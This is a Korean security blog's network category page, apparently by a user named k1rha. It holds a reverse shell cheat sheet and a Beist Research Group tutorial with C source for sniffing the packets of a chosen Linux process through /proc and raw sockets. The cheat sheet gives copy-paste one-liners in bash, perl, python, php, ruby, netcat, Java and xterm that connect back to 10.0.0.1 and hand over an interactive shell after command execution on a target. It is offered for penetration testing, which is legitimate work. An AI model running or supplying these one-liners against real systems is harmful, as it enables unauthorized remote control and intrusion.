'Neywork'에 해당되는 글 6건

2015.07.28 SSL 통신 암호화 과정
2015.04.17 reverse connection cheat sheet
2014.10.07 BEIST 님이 작성하셨던 특정 proccess packet capture 만들기
2014.01.02 Network vender Model default password
2013.09.11 윈도우8 애드훅(애드혹, AdHoc) 설정하기
2012.07.17 IPTIME 해킹 관련 내용 1

2015. 7. 28. 20:10

SSL 통신 암호화 과정

'Neywork' 카테고리의 다른 글

reverse connection cheat sheet (0)	2015.04.17
BEIST 님이 작성하셨던 특정 proccess packet capture 만들기 (0)	2014.10.07
Network vender Model default password (0)	2014.01.02
윈도우8 애드훅(애드혹, AdHoc) 설정하기 (0)	2013.09.11
IPTIME 해킹 관련 내용 1 (0)	2012.07.17

Posted by k1rha

2015. 4. 17. 08:47

reverse connection cheat sheet

Neywork

Reverse Shell Cheat Sheet

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

[Untested submission from anonymous reader]

xterm

One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

BEIST 님이 작성하셨던 특정 proccess packet capture 만들기

Neywork

by Beist Security Research Group

(http://beist.o rg)

Members of Beist Research Group : beist and anonymous people

Members of Beist Study Group : beist, dars21, obhacker, passion, p-jackpot, jacaranda, cina

요약: 본 문서는 유저 레벨에서 패킷 헤더를 분석하는 방법과 특정 프로세스를 지정하여 볼 수 있는 패킷 스니핑 프로그램을 구현하는 방법을 소개합니다.

1. 개요

이 문서는 리눅스 환경을 대상으로 작성되었습니다. 본 문서에서 다룰, 특정 프로세스를 지정하여 패킷을 스니핑할 수 있는 프로그램은 현재 실행 중인 프로세스와 실행 시킬 프로그램에서 발생하는 패킷을 스니핑하는데 사용될 수 있습니다. 특히 본 문서에서 다루는 프로그램은 포트 기반으로 수행하는 스니핑이 아니라 프로세스 기반이기 때문에 한 프로세스에서 수시로 다른 포트를 사용할 경우에도 패킷 스니핑을 하기 유용합니다.

본 문서에서는 특정 프로세스에서 사용하고 있는 Port 번호를 알아내기 위하여 proc file system의 프로세스 정보 디렉토리, 네트워킹 정보 분석 방법, 데이터링크 액세스 인터페이스 시스템 콜을 이용하여 패킷의 헤더 정보를 알아내는 방법에 대해 다룰 것입니다.

2. 기술적인 내용

/proc 디렉토리에서 프로세스 id와 사용중인 포트번호를 추출한 후 해당 프로세스에서 발생하는 패킷의 헤더와 데이터를 분석하는 방법에 대해 알아보겠습니다. 본 문서에서 설명하는 프로그램은 2가지 방식으로 작동되는데, 프로그램을 실행할 때, 패킷을 감시할 프로세스 이름이나 프로세스 ID를 입력하는 방식으로 이루어집니다. (예: ./proc_sniff 880 or ./proc_sniff program_name) 다음은 프로세스가 사용중인 Port 번호를 알아내는데 필요한 /proc 디렉토리에 대한 구체적인 내용입니다. (본 문서에서는 주로 TCP에 대해서 설명합니다.)

(1) /proc 디렉토리 분석

/proc 디렉토리 내에는 프로세스 정보, 커널 정보, 장치 정보, 네트워킹 정보 등과 같이 다양한 시스템 정보를 포함하고 있지만, 우리가 관심 있게 봐야 할 부분은 /proc/PID/stat, /proc/net/tcp 파일과 /proc/PID/fd 디렉토리 입니다. 텍스트 에디터를 사용하여 파일을 읽어보면 프로세스 정보와 네트워킹 정보를 확인할 수 있습니다.

1) /proc/PID/stat 파일 읽기

프로그램 이름을 실행 인자로 받았을 경우 실행된 프로그램의 프로세스 id 값을 추출하기 위해서 /proc/PID/stat 파일을 사용해야 합니다.여기서 PID는 /proc 디렉토리 내에 있는 여러 프로세스 ID를 말합니다. 해당 PID(예:1872) 디렉토리 내의 stat파일은 다음과 같이 프로세스 상태에 관련된 내용을 가지고 있습니다.

[root@localhost root]# cat /proc/1872/stat

1872 (sshd) S 1742 1872 1872 0 -1 320 140 48 149 23 2153 982 5 0 15 0 0 0 16721 7065600 535 4294967295 134512640 1347876

80 3221219360 3221216780 3076439090 0 0 4096 73728 3222450524 0 0 17 0 0 0 2153 982 5 0

이 정보에서 bold체로 표시된 2번째 필드를 보면 프로세스 이름이 기록되어 있는 것을 확인할 수 있습니다. 이 정보를 토대로 프로그램 이름과 /proc 디렉토리 내에 있는 모든 PID 디렉토리의 stat 파일을 비교하여 프로세스 이름과 일치하는 파일을 찾아 프로세스 id를 추출할 수 있습니다.

2) /proc/PID/fd 디렉토리 내 파일 디스크립터 읽기

/proc/PID/fd 디렉토리 내에는 해당 PID(예:1872) 프로세스에서 사용하고 있는 파일 디스크립터의 정보가 있습니다. 아래 예시는/proc/1872/fd 디렉토리의 내용입니다.

[root@localhost fd]# ls –l

합계 0

lrwx------ 1 root root 64 3월 7 19:06 0 -> /dev/null

lrwx------ 1 root root 64 3월 7 19:06 1 -> /dev/null

lrwx------ 1 root root 64 3월 7 19:06 2 -> /dev/null

lrwx------ 1 root root 64 3월 7 19:06 3 -> socket:[2177]

위의 정보를 보면 1872 프로세스의 0(표준입력), 1(표준출력), 2(표준에러) 파일 디스크립터는 /dev/null로 링크되어 있습니다. 3번 파일 디스크립터는 소켓 파일 디스크립터이고 해당 디스크립터에 링크되어있는 socket:[2177]은 커널에서 관리하고 있는 소켓 번호인 것을 알 수 있습니다. 이 번호를 이용하여 다음에 설명할 /proc/net 디렉토리 정보와 함께 포트 번호를 추출하는데 사용할 수 있습니다. 1872 프로세스는 위의 1)에서 /proc/1872/stat 파일 정보를 통해 ssh 데몬인 것을 파악했으므로 3번 파일 디스크립터는 ssh 통신을 위한 파일 디스크립터로 예상할 수 있습니다.

3) /proc/net 정보 얻기

IPv4에 관련된 /proc/net/tcp와 IPv6에 관련된 /proc/net/tcp6 파일을 통하여 현재 커널에서 관리 중인 소켓의 정보를 파악할 수 있습니다. (본 문서는 IPv4를 대상으로 설명합니다.) 다음의 /proc/net/tcp 파일의 정보인데 ssh 데몬(소켓번호:2177)에서 사용하는 소켓의 정보만 표현하고 다른 소켓 정보는 생략하였습니다.

[root@localhost net]# cat tcp

0: 0100007F:0016 0100007F:0BC9 01 00000000:00000000 02:0008A351 00000000 0 02177 2 c2253280 43 4 1 3 -1

위의 정보에서 진하게 설정된 부분이 주의 깊게 볼 부분입니다.

0100007F:0016 – 서버 측 네트워크 정보를 나타냅니다.

(hex 값을 10진수로 변환하면 127.0.0.1:22)

0100007F:0BC9 – 클라이언트 측 네트워크 주소를 나타냅니다.

(hex 값을 10진수로 변환하면 127.0.0.1:3017)

2177 – socket 번호 입니다.

(local network에서 local network으로 연결했기 때문에 서버와 클라이언트의 주소가 같습니다.)

4) Port 번호 알아내기 과정

프로그램 이름을 실행 인자로 받았을 경우 해당 프로그램을 실행시킨 후에, 실행된 프로세스가 사용하는 Port 번호를 알아내기 위한 작업의 과정을 종합하면 다음과 같습니다.

1. 실행 인자(프로그램 이름)와 /proc 디렉토리에 모든 /proc/PID/stat 파일의 프로세스 이름 정보를 비교하여 PID (프로세스 id) 정보를 알아냅니다..

2. 알아낸 PID(예:1872)를 통해 /proc/1872/fd 의 소켓 파일 디스크립터에 링크된 소켓 번호(예:2177)를 알아냅니다.

3. /proc/net/tcp 파일 정보에서 링크된 소켓 번호(2177)을 검색하면 해당 소켓번호의 소켓 정보를 통해 port번호를 알아낼 수 있습니다.0100007F:0016 에서 “0016”이 port 번호이고, 10진수로 변환하면 “0022”가 port번호임을 알 수 있습니다.

(2) Packet 헤더 정보 얻기

위의 방법을 통해 Port번호를 알아냈으면 이제 해당 Port 번호에 대한 패킷을 스니핑할 수 있습니다. 패킷 헤더 정보를 스니핑하기 위해서pcap 라이브러리를 사용하여 프로그램을 작성할 수 있지만, 본 문서에서는 공개된 라이브러리를 사용하지 않고 직접 시스템 콜을 이용하여 패킷의 헤더를 수신하는 방법에 대하여 알아보겠습니다.

1) Ethernet 헤더 열기

TCP, UDP packet의 간단한 구조는 Ethernet 헤더 - IP 헤더 – TCP 혹은 UDP 헤더 순으로 이루어집니다. 먼저 소켓 시스템 콜을 이용하여 네트워크를 통해 들어온 모든 패킷을 수신하는 방법에 대해 구체적으로 알아보겠습니다.

Ethernet 헤더 데이터부터 수신하기 위해서는 소켓을 다음과 같은 설정으로 오픈합니다.

sock = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ALL));

리눅스에서 지원하는 모든 프로토콜을 처리하기 위해 socket 시스템 콜을 호출할 때 1번째 PF_PACKET을 줍니다. 다음은 리눅스에서 지원하는 프로토콜 패밀리에 대한 안내입니다.

프로토콜 체계	정의
PF_INET	IPv4 인터넷 프로토콜
PF_INET6	IPv6 인터넷 프로토콜
PF_LOCAL	Local 통신을 위한 Unix 프로토콜
PF_PACKET	Low level socket을 위한 인터페이스
PF_IPX	IPX 노벨 프로토콜

2번째 인자인 소켓 타입에는 SOCK_PACKET을 줍니다. 이 타입은 모든 패킷을 수신할 수 있도록 하는 소켓의 데이터 전송 타입입니다. (참고로 TCP는 SOCK_STREAM, UDP는 SOCK_DGRAM을 사용합니다.)

3번째 인자인 프로토콜에는 ETH_P_ALL 을 줍니다. 이 프로토콜은 Ethernet 프로토콜을 통째로 다룰 수 있도록 하는 프로토콜입니다. 위의 소켓을 통하여 데이터를 수신할 경우 Ethernet 헤더 데이터도 수신할 수 있게 됩니다.

2) IP 헤더, TCP 헤더 열기

1)에서 설정한 socket 함수를 통해 수신된 데이터는 Ethernet 헤더와 IP 헤더, TCP 헤더 등 내용까지 포함되어 있습니다. Ethernet 헤더 바로 뒤에 IP 헤더가 붙기 때문에 IP헤더를 읽어오기 위해서는 수신된 데이터에서 Ethernet 헤더의 크기만큼 포인터를 이동해야 IP 헤더정보를 읽어올 수 있습니다.

/* packetFirst 변수는 수신한 패킷의 선두 포인터 값을 가지고 있음 */

packetPointer = packetFirst;

/* Ethernet 헤더 크기만큼 이동 */

packetPointer = packetPointer + sizeof (struct ether_header);

struct ip *ip_header = (struct ip *) packetPointer;

2-1) ip_header 포인터 변수를 통해 다음과 같은 ip 구조체의 멤버변수 데이터를 얻어 올 수 있습니다.

/* 헤더의 위치는 “/usr/include/netinet/” 입니다 */

#include <netinet/ip.h>

ip_header->ip_hl /* 헤더길이 */

ip_header->ip_v; /* 버전 */

ip_header->ip_tos; /* type of service */

ip_header->ip_len; /* 전체 길이 */

ip_header->ip_id; /* 식별id */

ip_header->ip_off; /* fragment 옵셋 필드 */

ip_header->ip_ttl; /* time to live */

ip_header->ip_p; /* protocol */

ip_header->ip_sum; /* checksum */

ip_header->ip_src /* 출발 ip주소 */

ip_header->ip_dst; /* 도착 ip주소 */

IP 헤더의 크기만큼 포인터를 이동하면 TCP 헤더 정보를 읽어올 수 있습니다. IP 헤더의 크기는 ip_header->ip_hl을 통해 알아낼 수 있는데 이 필드는 4비트 길이를 갖지만 단위가 4바이트 단위로 되어 있기 때문에 ip_header->ip_hl 값에 4를 곱해준 값이 IP 헤더의 크기가 됩니다. 일반적으로 특별한 옵션이 없는 한 ip_header->ip_hl의 값은 5입니다. 즉 이 값에 4를 곱하면 IP 헤더의 크기는 20바이트 크기인 것을 알 수 있습니다.

/* packetPointer 변수는 현재 IP 헤더정보를 가리키는 포인터 값을 가지고 있음 */

/* IP 헤더 크기만큼 이동 */

packetPointer = packetPointer + ((int)(ip->ip_hl) << 2); /* 곱을 쉬프트 연산으로 표현 */

tcp_header = (struct tcphdr *) packetPointer;

2-2) tcp_header 포인터 변수를 통해 다음과 같은 tcphdr 구조체의 멤버 변수 데이터를 얻어 올 수 있습니다.

/* 헤더의 위치는 “/usr/include/netinet/” 입니다 */

#include <netinet/tcp.h>

tcp_header->th_sport; /* 출발지 port */

tcp_header->th_dport; /* 목적지 port */

tcp_header->th_seq; /* sequence 번호 */

tcp_header->th_ack; /* acknowledgement 번호 */

tcp_header->th_x2; /* (unused) */

tcp_header->th_off; /* 데이터 옵셋*/

tcp_header->th_flags; /* 제어 플래그 */

tcp_header->th_win; /* window 값*/

tcp_header->th_sum; /* checksum 값*/

tcp_header->th_urp; /* 긴급 포인터 */

TCP 헤더 이후에 오는 내용은 실제 데이터 부분이 됩니다.

2-3) UDP 헤더일 경우 udp_header 포인터 변수를 사용하여 다음과 같은 udphdr 구조체의 멤버변수 데이터를 얻어 올 수 있습니다.

/* 헤더의 위치는 “/usr/include/netinet/” 입니다 */

#include <netinet/udp.h>

udp_header->uh_sport; /* 출발지 port */

udp_header->uh_dport; /* 목적지 port */

udp_header->uh_ulen; /* udp 길이*/

udp_header->uh_sum; /* udp 체크섬*/

2-4) 다음은 TCP 헤더, UDP 헤더 뒤에 붙는 실제 데이터 포인터 위치를 가져오는 부분에 대한 설명입니다.

TCP 헤더일 경우 TCP 헤더의 크기를 구하기 위해서 tcphdr 구조체의 th_off 구조체 변수를 사용합니다. 이 변수 값의 수치 단위는 4바이트이므로 4를 곱하여 tcp 헤더의 크기를 구합니다. 다음과 같이 현재 packetPointer 포인터의 위치를 tcp헤더의 크기만큼 옮기면packetPointer 포인터 변수는 실제 데이터의 선두 위치를 가리키게 됩니다.

packetPointer = packetPointer + ((int)(tcp->th_off) << 2);

UDP 헤더는 tcp헤더와 다르게 현재 packetPointer 포인터의 위치를 udphdr헤더의 사이즈만큼 옮기면 packetPointer 포인터 변수는 실제 데이터의 선두 위치를 가리키게 됩니다.

다음과 같이 현재 packetPointer 포인터의 위치를 UDP헤더의 크기만큼 옮기면 packetPointer 포인터 변수는 실제 데이터의 선두 위치를 가리키게 됩니다.

packetPointer = packetPointer + sizeof(struct udphdr);

(3) 프로세스가 사용 중인 Port 번호를 추출하는 소스 설명

다음 소스는 “(1) /proc 디렉토리 분석” 에서 언급하였던 /proc 디렉토리 분석을 통하여 프로세스에서 사용하는 port 번호를 추출하는 부분에 대한 소스코드입니다.

1 /*

2 /proc/net/tcp 정보에서 소켓 device 값과 비교하여 해당 소켓의 port번호를

3 얻어온다

4 */

5 int SockMapPort(char* ProcTcp, char* sockdevnum, unsigned short* processPortNum)

6 {

7 DIR *directory;

8 struct dirent *entry = NULL;

9 char buffer[256];

10 char *parsing;

11 char hexPortNum[40];

12 int culcount;

13 int linecount;

14 int find;

15 FILE *fp;

17 culcount = linecount = find = 0;

18 fp = fopen(ProcTcp, "r");

19 if (fp == NULL)

20 {

21 perror("/proc/net/tcp(6) error");

22 exit(0);

23 }

25 linecount = 0;

26 while(fgets(buffer,256, fp) != NULL)

27 {

28 if(linecount == 0)

29 {

30 linecount++;

31 continue;

32 }

33 culcount = 0;

34 parsing = strtok(buffer, ": ");

35 while((parsing = strtok(NULL, ": ")) != NULL)

36 {

37 if(culcount == 1)

38 {

39 strcpy(hexPortNum, parsing);

40 }

42 if(!strncmp(parsing, sockdevnum, strlen(sockdevnum)))

43 {

44 /*puts("동일");

45 printf("p %s s %s\n", parsing, sockdevnum);*/

46 find = 1;

47 break;

48 }

49 else

50 {

51 }

52 culcount++;

53 }

54 if(find) break;

55 }

57 if(find){

58 *processPortNum = HexToDecimal(hexPortNum);

59 return 1;

60 }

61 else

62 return 0;

63 }

65 unsigned short FindPortNum(char* processID)

66 {

67 DIR *directory;

68 struct dirent *entry = NULL;

69 char procBuff[40];

70 char sockBuff[40];

71 char retBuff[40];

72 char *sockdev;

73 char *sockdevnum;

74 char ProcTcp[20];

75 int ret;

76 unsigned short processPortNum;

79 sprintf(procBuff,"/proc/%s/fd", processID);

81 if ((directory = opendir(procBuff)) == NULL)

82 {

83 perror("/proc opendir error");

84 exit(0);

85 }

87 while((entry = readdir(directory)) != NULL)

88 {

89 if (strcmp(entry->d_name, ".") !=0 && strcmp(entry->d_name, "..") != 0 &&

90 strcmp(entry->d_name, "0") != 0 && strcmp(entry->d_name, "1") !=0 && strcmp(entry->d_name, "2") != 0

91 {

92 sprintf(sockBuff,"/proc/%s/fd/%s", processID, entry->d_name);

93 readlink(sockBuff, retBuff, sizeof(retBuff));

94 sockdev = strtok(retBuff, ":[");

95 if(strcmp(sockdev, "socket"))

96 continue;

98 sockdevnum = strtok(NULL, ":[]");

99 break;

100 }

101 }

102

103 sprintf(ProcTcp, "/proc/net/tcp");

104 ret = SockMapPort(ProcTcp, sockdevnum, &processPortNum);

105 if(ret == 0) // "/proc/net/tcp"에 정보가 없을 경우

106 {

107 sprintf(ProcTcp, "/proc/net/tcp6");

108 SockMapPort(ProcTcp, sockdevnum, &processPortNum);

109 }

110

111 closedir(directory);

112 return processPortNum;

113 }

114

115 /*

116 * 프로세스 정보를 가져온다.

117 * 그러기 위해서 /proc/[PID]/stat파일을 읽어들이고 이를

118 * 필드별로 파싱한다. 파싱은 " "문자를 기준으로 한다.

119 * 또한 프로세스를 생성한 유저 이름도 얻어온다.

120 */

121 unsigned short FindProcInfo(char* process)

122 {

123 DIR *directory;

124 struct dirent *entry = NULL;

125 char proc_file[40];

126 char proc_name[20];

127 int processFlag = 0;

128 unsigned short port;

129

130 if (IsDigit(process)) //process가 숫자이면

131 {

132 processFlag = 1;

133 }

134 else

135 {

136 sprintf(proc_name, "(%s)", process);

137 }

138

139

140 if(processFlag == 0) //실행인자가 프로세스명일 경우

141 {

142 system(process); //실행인자 프로그램을 실행 시킴

143

144 // proc 디렉토리를 열어서 파일(디렉토리포함)의 리스트를

145 // 얻어온다.

146 if ((directory = opendir("/proc")) == NULL)

147 {

148 perror("/proc opendir error");

149 exit(0);

150 }

151

152 while((entry = readdir(directory)) != NULL)

153 {

154 if (strcmp(entry->d_name, ".") !=0 && strcmp(entry->d_name, "..") != 0)

155 {

156 sprintf(proc_file,"/proc/%s/stat", entry->d_name);

157 // stat 파일이 존재하는지 확인하고 확인하고

158 if (access(proc_file, F_OK) != 0)

159 {

160 continue;

161 }

162

163 // 디렉토리 이름이 숫자인지 확인한다.

164 // 디렉토리 이름이 숫자라면 이를 파싱한다.

165 if (IsDigit(entry->d_name))

166 {

167 if(ProcParser(proc_file, proc_name)) //디렉토리가 프로세스의 디렉토리 정보인지를 확인

168 {

169 port = FindPortNum(entry->d_name);

170 printf("processName : %s\nport : %d\n", process, port);

171 break;

172 }

173 }

174 else

175 {

176 }

177 }

178 }

179

180 closedir(directory);

181 }

182 else //실행인자가 프로세스id일 경우

183 {

184 port = FindPortNum(process);

185 printf("processID : %s\nport : %d\n", process, port);

186 }

187

188 return port;

189 }

190

191 /*

192 * 파일이름이 숫자인지 확인한다.

193 */

194 int IsDigit(char *str)

195 {

196 int i;

197 for (i = 0; i < strlen(str); i++)

198 {

199 if (isdigit(str[i])==0)

200 return 0;

201 }

202 return 1;

203 }

204

205 /*

206 "/proc/pid/fd/stat"에서 프로세스명 정보를 비교함

207 */

208 int ProcParser(char *proc_file, char *proc_name)

209 {

210 FILE *fp;

211 char buf[512] = {0x00,}; 212 int pid;

213 char *pname;

214

215 fp = fopen(proc_file, "r");

216 if (fp == NULL)

217 {

218 perror("error : ");

219 exit(0);

220 }

221

222 fgets(buf, 511, fp);

223 pid = atoi(strtok(buf, " "));

224 pname = (char*)strtok(NULL, " ");

225 fclose(fp);

226 if(strncmp(pname, proc_name, strlen(proc_name)))

227 {

228 return 0; //프로세스이름과 일치하지 않음

229 }

230 else

231 {

232 return 1; //프로세스이름과 일치

233 }

234

235 }

1) 함수 요약 설명

- FindProcInfo : 프로세스 id를 매개변수로 받았을 경우에는 바로 FindPortNum 함수에 프로세스 id를 넘겨 포트번호를 추출합니다.프로그램 명을 매개변수로 받았을 경우에는 프로그램을 실행시키고, /proc 디렉토리를 검색하여 ProcParser 함수로 프로세스 id를 알아냅니다. 이 프로세스 id를 FindPortNum 함수에 대입하여 port 번호를 추출합니다.

- FindPortNum : 인수로 받은 프로세스 id를 토대로 /proc/pid/fd 디렉토리를 읽어들여 0, 1, 2 기본 파일 디스크립터를 제외한 파일 디스크립터 중에 심볼릭 링크된 값이 socket으로 링크된 디바이스 번호를 SockMapPort 함수에 매개변수로 넘겨 소켓의 포트 번호를 추출합니다.

- SockMapPort : /proc/net/tcp나 /proc/net/tcp6 파일을 한 라인씩 읽어 들여 인자로 받은 디바이스 번호와 일치한 라인을 찾습니다. 찾은 라인의 3번째 필드 값이 포트 번호입니다. 이 값은 16진수로 되어 있기 때문에 10진수로 변환 후 포트번호를 리턴합니다.

- ProcParser : 인수로 받은 /proc/pid/fd/stat 파일의 데이터에 프로세스 이름이 일치하는 확인하여 프로세스 id를 찾습니다.

- IsDigit : 인수로 받은 str이 숫자인지 확인합니다.

2) 소스 해설

5행 : SockMapPort 함수는 “/proc/net/tcp”나 “/proc/net/tcp6”을 가리키는 문자열과 소켓 디바이스 번호, 저장될 프로세스 포트 번호 변수를 인수로 받습니다.

18행 : “/proc/net/tcp” 파일을 오픈합니다.

26행 ~ 55행 : “/proc/net/tcp” 의 데이터를 한 라인씩 읽어들여 “:”로 토큰한 값 중에 소켓 디바이스 값과 일치하는지 비교하고, 일치하는 값을 찾으면 저장해 놓은 hexPortNum 값이 16진수로 표현된 포트번호입니다.

57행 ~ 60행 : 16진수로 표현된 포트번호를 10진수로 변경합니다.

65행 : FindPortNum 함수는 문자열로 표현된 프로세스 id를 인수로 받습니다.

79행 : 프로세스id 문자열을 추가하여 “/proc/pid/fd” 문자열 값인 procBuf를 만듭니다.

81행 : opendir 함수로 procBuff 디렉토리를 오픈하여 디렉토리 포인터를 directory 변수에 저장합니다.

87행 ~ 101행 : readdir 함수로 directory 변수의 디렉토리 내에 있는 파일을 읽어 들입니다. 파일이름이 “.”, “..”, “0”, “1”, “2”를 제외한 파일을 readlink 함수를 사용하여 심볼릭 링크된 값을 retBuff에 저장합니다. retBuff에 저장된 값이 소켓 디바이스면 “socket:[802831]”로 표현되기 때문에 “:[]”로 토큰하여 중괄호 안에 있는 소켓 디바이스 값을 sockdevnum 변수에 저장합니다.

103행 : “/proc/net/tcp” 문자열을 ProcTcp 변수에 저장합니다.

104행 : 프로세스가 사용중인 포트번호를 추출하기 위해 SockMapPort 함수를 호출합니다.

105행 ~ 109행 : 소켓 디바이스 번호와 맵핑 된 포트번호가 없으면 “/proc/net/tcp6”를 첫번째 매개변수로 SockMapPort를 재호출합니다.

111행 : 오픈한 디렉토리를 닫습니다.

112행 : 프로세스가 사용 중인 포트 번호를 리턴합니다.

121행 : FindProcInfo 함수는 프로그램 명이나 process id를 인자로 받습니다.

130행 ~ 137행 : IsDigit 함수를 사용하여 인수로 받은 process 값이 숫자인지 체크합니다. 숫자이면 프로세스 id이기 때문에processFlag 값을 1로 설정한다. 숫자가 아니면 프로그램 명이므로 나중에 proc/pid/stat와 비교 과정에서 프로세스 id를 알아내기 위해 프로그램 명에 “()”를 추가합니다.

142행 : 인자로 받은 process 변수의 데이터가 프로그램 명인 경우에는 프로그램을 실행 시킵니다.

146행 ~ 149행 : opendir함수를 사용하여 “/proc” 디렉토리를 오픈합니다.

152행 ~ 178행 : “/proc” 디렉토리를 읽어 들여 ProcParser 함수에 “/proc” 디렉토리 내에

“/proc/pid/stat” 파일과 프로세스 이름을 매개변수로 넘겨 프로세스 id를 찾습니다. 프로세스

Id 를 찾으면 FindPortNum 함수에 프로세스 id를 매개변수로 넘겨 포트번호를 추출합니다.

180행 : 오픈한 “/proc” 디렉토리를 닫습니다.

182행 ~ 186행 : 인자로 받은 process 변수의 데이터가 프로세스 id 이므로 바로

FindPortNum 함수에 프로세스 id를 매개변수로 넘겨 포트번호를 추출합니다.

188행 : 포트번호를 반환합니다.

194행 ~ 203행 : 인자로 받은 str 변수의 데이터가 숫자 문자열인지를 체크합니다.

208행 : ProcParser 함수는 “/proc/pid/fd/stat” 문자열을 가리키는 변수와 프로그램 명을 인자로 받습니다.

215행 : “/proc/pid/fd/stat” 파일을 오픈합니다.

222행 ~ 224행 : 오픈한 파일 포인터로부터 데이터를 읽어 들여 공백을 구분자로 2번 파싱합니다. 첫 번째 파싱하여 얻은 데이터는 pid이고, 두 번째 파싱하여 얻은 데이터는 프로세스 이름입니다.

226행 ~ 233행 : 파싱하여 얻은 프로세스명(pname)과 프로그램 명(proc_name)이 일치하는지 확인하여 일치 여부를 반환합니다.

(4) Packet Header 추출하는 부분 소스 설명

다음 소스는 “(2) Packet 헤더 정보 얻기” 에서 언급하였던 소켓을 통해 ethernet 헤더부터 수신한 데이터를 분석하는 부분에 대한 소스코드입니다.

1 void packetCapture(unsigned short portnum, FILE *wfp)

2 {

3 struct ether_header *eth;

4 struct ether_arp *arp;

5 struct ip *ip;

6 struct icmp *icmp;

7 struct tcphdr *tcp;

8 struct udphdr *udp;

9 int s;

10 int len;

11 int c; // getopt()에서 취득한 문자

12 char buff[MAXSIZE]; // 데이터 수신 버퍼

13 char *packetPointer; // 헤더의 선두를 나타내는 작업용 포인터

14 char *packetFirst; // 패킷의 선두를 나타내는 포인터

15 char buf[BUFSIZE];

16 int i;

17 char data[BUFSIZE];

19 if ((s = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) < 0) {

20 perror("socket");

21 exit(1);

22 }

24 while (1){

25 if ((len = read(s, buff, MAXSIZE)) < 0) {

26 perror("read");

27 exit(1);

28 }

29 /* Ethernet 헤더선두에 포인터를 세트 */

30 packetPointer = packetFirst = buff;

32 eth = (struct ether_header *) packetPointer;

33 packetPointer = packetPointer + sizeof (struct ether_header);

36 if (ntohs(eth->ether_type) == ETHERTYPE_IP) {

37 ip = (struct ip *) packetPointer;

39 packetPointer = packetPointer + ((int)(ip->ip_hl) << 2);

41 switch (ip->ip_p) {

42 case IPPROTO_TCP:

43 tcp = (struct tcphdr *) packetPointer;

44 if((portnum == ntohs(tcp->th_sport))

|| (portnum == ntohs(tcp->th_dport))){

46 print_ip(ip, wfp);

47 print_tcp(tcp, wfp);

48 dump_packet(packetFirst, len, wfp);

49 printf("\n");

50 sprintf(buf, "\n");

51 fputs(buf, wfp);

52 fflush(stdout);

53 }

54 break;

55 case IPPROTO_UDP:

56 udp = (struct udphdr *) packetPointer;

57 packetPointer = packetPointer

+ sizeof(struct udphdr);

58 if((portnum == ntohs(udp->uh_sport))

|| (portnum == ntohs(udp->uh_dport))){

59 print_ip(ip, wfp);

60 print_udp(udp);

61 dump_packet(packetFirst, len, wfp);

62 printf("\n");

63 sprintf(buf, "\n");

64 fputs(buf, wfp);

65 fflush(stdout);

66 }

67 break;

68 }

69 }

70 }

72 }

76 void dump_packet(unsigned char *buff, int len, FILE *fp)

77 {

78 int i, j;

79 char buf[BUFSIZE];

81 printf("Packet Dump:\n");

82 sprintf(buf, "Packet Dump\n");

83 fputs(buf, fp);

84 for (i = 0; i < len; i += 16) {

85 // 16진수 덤프

86 for (j = i; j < i + 16 && j < len; j++) {

87 printf("%02x", buff[j]);

88 sprintf(buf, "%02x", buff[j]);

89 fputs(buf, fp);

91 if (j % 2 == 1){

92 printf(" ");

93 sprintf(buf, " ");

94 fputs(buf, fp);

95 }

96 }

98 // 제일 마지막 행의 끝 수를 정렬

99 if (j == len && len % 16 != 0)

100 for (j = 0; j < 40 - (len % 16)*2.5; j++){

101 printf(" ");

102 sprintf(buf, " ");

103 fputs(buf, fp);

104 }

105 printf(": ");

106 sprintf(buf, ": ");

107 fputs(buf, fp);

108

109 // 아스키 문자 표시

110 for (j = i; j < i + 16 && j < len; j++) {

111 if ((buff[j] >= 0x20) && (buff[j] <= 0x7e)){

112 putchar(buff[j]);

113 sprintf(buf, "%c", buff[j]);

114 fputs(buf, fp);

115 }

116 else{

117 printf(".");

118 sprintf(buf, ".");

